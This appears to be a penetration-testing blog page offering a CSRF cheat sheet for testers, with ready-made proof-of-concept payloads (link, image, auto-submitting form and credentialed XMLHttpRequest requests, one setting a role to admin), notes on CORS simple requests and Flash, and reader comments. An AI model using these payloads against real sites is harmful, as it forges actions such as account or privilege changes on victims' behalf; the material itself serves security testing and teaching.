Cross-Site Request Forgery Cheat Sheet
The Cross-Site Request Forgery (CSRF) Cheat Sheet is a flowchart that is designed to cover the common scenarios that an experienced application penetration tester would test for in CSRF testing. It should be most useful for newer penetration testers who don’t have a comprehensive understanding of CSRF testing, although it should also be helpful for experienced penetration testers to have a mental map and a sanity check when looking for CSRF. It should also be useful for developers to see if their application is vulnerable, although that is not who this is designed for. If you are a developer, I highly recommend researching your framework to find a trusted solution if at all possible, rather than engineering your own solution.
This flowchart is not designed to cover every possible edge-case scenario (e.g. attacks that require out-of-date Flash). In theory, there are limitless ways a developer can make mistakes that would lead to CSRF.
Note: You will probably want to open this image in a new tab.
Proof-of-Concept Attacks
HTML GET – Requiring User Interaction for Proof-of-Concept
1 |
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a> |
HTML GET (No User Interaction)
1 |
<img src="http://www.example.com/api/setusername?username=CSRFd"> |
HTML POST – Requiring User Interaction for Proof-of-Concept
1 2 3 4 |
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> |
HTML POST (AutoSubmit – No User Interaction)
1 2 3 4 5 6 7 8 |
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> <script> document.getElementById("autosubmit").submit(); </script> |
JSON GET – Simple Request
1 2 3 4 5 |
<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script> |
JSON POST – Simple Request
1 2 3 4 5 6 7 8 9 10 11 |
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; //application/json is not allowed in a simple request. text/plain is the default xhr.setRequestHeader("Content-Type", "text/plain"); //You will probably want to also try one or both of these //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //xhr.setRequestHeader("Content-Type", "multipart/form-data"); xhr.send('{"role":admin}'); </script> |
JSON POST – Complex Request
1 2 3 4 5 6 7 |
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script> |
A couple things worth noting
XMLHttpRequest
It’s important to note that you do not need to be able to read the response to execute CSRF (this is always the case with basic HTML CSRF). CORS restrictions may mislead people into thinking it is not vulnerable, when it actually is vulnerable to simple requests.
An XMLHTTPRequest is deemed “simple” if it meets certain conditions about the headers that are set. Specifically, it must use GET, HEAD, or POST and the content type can only be set to application/x-www-form-urlencoded, multipart/form-data, or text/plain. The other headers that can be set while keeping the request simple are Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, and Pragma. If it is not deemed simple, it will be pre-flighted with an OPTIONS request to see if the current domain is allowed. By default, XMLHttpRequest will not send credentials, and this must be enabled by setting .withCredentials to true;
Flash
Previously, Flash could be used to set custom headers. This only works with old versions of Flash, and used to be exploitable using CSRF-Request-Builder. Today, you would need the site to use crossdomain.xml that allows a domain you can forge requests from.
Siverlight
Today, you would need the site to use a clientaccesspolicy.xml or crossdomain.xml that allows a domain you can forge requests from.
Feedback
I’ll keep updating and improving this page, but if you have feedback on how we can improve this and make it more useful, we’d love to hear it. Please send us a message using the “contact us” page, leave a comment here, or successfully guess one of our email addresses.
How to Perform CSRF Using Put Method?
Please explain in depth.
You can’t unless their CORS response headers allow the PUT method. This is detailed in the bottom right of the image. The last code snippet also shows an example of this. Just change POST to PUT.
Even if the request is JSON and the server validates that the Content-Type header is application/json (“Content-Type: application/json”) you use Flash with a 307 redirect to get CSRF if there are no other mitigations in place. https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b
Great info, but this wont work on modern browsers, right? I just tried running Flash in Chrome, FF, and Edge, and all have Flash disabled or not installed. None even prompted to run Flash.